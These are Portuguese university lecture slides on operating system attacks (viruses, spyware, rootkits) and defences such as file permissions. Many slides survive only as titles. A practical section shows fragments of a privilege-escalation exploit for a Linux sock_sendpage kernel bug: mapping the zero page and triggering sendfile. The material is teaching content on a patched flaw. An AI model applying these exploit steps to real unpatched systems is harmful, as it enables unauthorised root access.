O documento discute ataques e vulnerabilidades em sistemas operacionais, abordando vários tipos de ataques como vírus, spywares e rootkits. Também descreve mecanismos de defesa como permissões de arquivo e chamadas do sistema, e analisa um bug de kernel que permitia escalada de privilégios, demonstrando como explorá-lo e a correção aplicada.
1. Ataques e Vulnerabilidades Prof. Islene Calciolari Garcia 1° semestre de 2010 MC 514 Sistemas Operacionais: Teoria e Prática
2. Introdução Formas de ataque Aprofundamento SO: Defesa e Proteção Prática: O Bug de 8 Anos Índice Universidade Estadual de Campinas - Instituto de Computação - MC 514
3. Introdução Formas de ataque Aprofundamento SO: Defesa e Proteção Prática: O Bug de 8 Anos Índice Universidade Estadual de Campinas - Instituto de Computação - MC 514
4.
5.
6. Formas de ataque Aprofundamento SO: Defesa e Proteção Prática: O Bug de 8 Anos Introdução Índice Universidade Estadual de Campinas - Instituto de Computação - MC 514
7.
8.
9.
10.
11.
12.
13.
14.
15.
16. Aprofundamento SO: Defesa e Proteção Prática: O Bug de 8 Anos Introdução Formas de ataque Índice Universidade Estadual de Campinas - Instituto de Computação - MC 514
17. Devido ao grande número de formas de ataque, optamos pela escolha de duas delas: Rootkits e Spyware, a fim de aprofundar o conhecimento, estas são descritas a seguir. Aprofundamento Universidade Estadual de Campinas - Instituto de Computação - MC 514
18.
19.
20. Introdução Formas de ataque Aprofundamento SO: Defesa e Proteção Prática: O Bug de 8 Anos Índice Universidade Estadual de Campinas - Instituto de Computação - MC 514
21.
22.
23. As principais chamadas de sistemas utilizadas e suas características são apresentadas a seguir: chmod (path, mode) É a mais utilizada, ela serve para modificar o modo de proteção. Por exemplo: s = chmod("usr/ast/newgame", 0755); seta newgame para rwxr–xr–x, assim todos podem executa-lo, vale notar q o valor 0755 é um número em octal, que é conveniente pois os bits de proteção vem em grupos de 3. Somente o dono do arquivo e a root podem trocar esses bits de proteção. Defesa Universidade Estadual de Campinas - Instituto de Computação - MC 514 Chamadas de sistemas
24.
25.
26.
27. Introdução Formas de ataque Aprofundamento SO: Defesa e Proteção Prática: O Bug de 8 Anos Índice Universidade Estadual de Campinas - Instituto de Computação - MC 514
28.
29.
30.
31.
32. Prática A solução Universidade Estadual de Campinas - Instituto de Computação - MC 514 static ssize_t sock_sendpage (struct file *file, struct page *page, int offset, size_t size, loff_t *ppos, int more) { struct socket *sock; (...) return sock->ops->sendpage(sock, page, offset, size, flags); } int kernel_sendpage (struct socket *sock, struct page *page, int offset, size_t size, int flags) { if (sock->ops->sendpage) return sock->ops->sendpage(sock, page, offset, size, flags); return sock_no_sendpage(sock, page, offset, size, flags); }
33.
34. Prática Simulação Universidade Estadual de Campinas - Instituto de Computação - MC 514 mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0); if (mem != NULL) { mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0); Kernel corrigido if (mem != NULL) { fprintf(stdout, "UNABLE TO MAP ZERO PAGE!"); return 1; } } fprintf(stdout, " [+] MAPPED ZERO PAGE!"); Kernel antigo
35. Prática Simulação Universidade Estadual de Campinas - Instituto de Computação - MC 514 char template[] = "/tmp/sendfile.XXXXXX"; int in, out; if ((in = mkstemp(template)) < 0) { fprintf(stdout, "failed to open input descriptor, %m"); return 1; } unlink(template); d = 0; for (; domains[d][0] != DOMAINS_STOP; d++) { if ((out = socket(domains[d][0], domains[d][1], domains[d][2])) >= 0) break; } if (out < 0) { fprintf(stdout, "unable to find a vulnerable domain, sorry"); return 1; } ftruncate(in, getpagesize()); sendfile(out, in, NULL, getpagesize());